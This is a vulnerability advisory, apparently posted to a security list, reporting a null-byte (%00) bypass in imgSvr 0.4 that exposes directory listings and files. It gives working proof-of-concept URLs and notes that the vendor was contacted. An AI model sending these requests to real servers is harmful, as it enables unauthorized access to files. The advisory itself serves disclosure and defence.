Index viewing in imgSvr 0.4

["Donato Ferrante" <fdonato@xxxxxxxxxxxxx>]

                           Donato Ferrante


Application:  imgSvr
              http://adaimgsvr.sourceforge.net/

Version:      0.4

Bug:          Index viewing

Author:       Donato Ferrante
              e-mail: fdonato@xxxxxxxxxxxxx
              web:    www.autistici.org/fdonato


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1. Description
2. The bug
3. The code
4. The fix



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----------------
1. Description:
----------------

Vendor's description:

"ImgSvr is a Web image server, which allows users to browse digital
images. It is a full HTTP server, which is specifically designed for
image publishing."



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------------
2. The bug:
------------

The program by default has some security checks that an attacker can
bypass, to:

[1] see the content of a web directory.


[2] see or download the files of a web directory.



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-------------
3. The code:
-------------

To test the vulnerabilities:


[1]

To see the content of a directory:

http://[host]:1234/%00/
or:
http://[host]:1234/someDirectory/%00/


[2]

To see/download a file:

http://[host]:1234/someDirectory/someFile%00



NOTE: if the server will show a warning like:

ERROR Report

s-fileio.adb:955
Exception name: ADA.IO_EXCEPTIONS.DEVICE_ERROR Message:s-fileio.adb:955


send another time the request.



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------------
4. The fix:
------------

Vendor was contacted.
Bug will be fixed in the next version.



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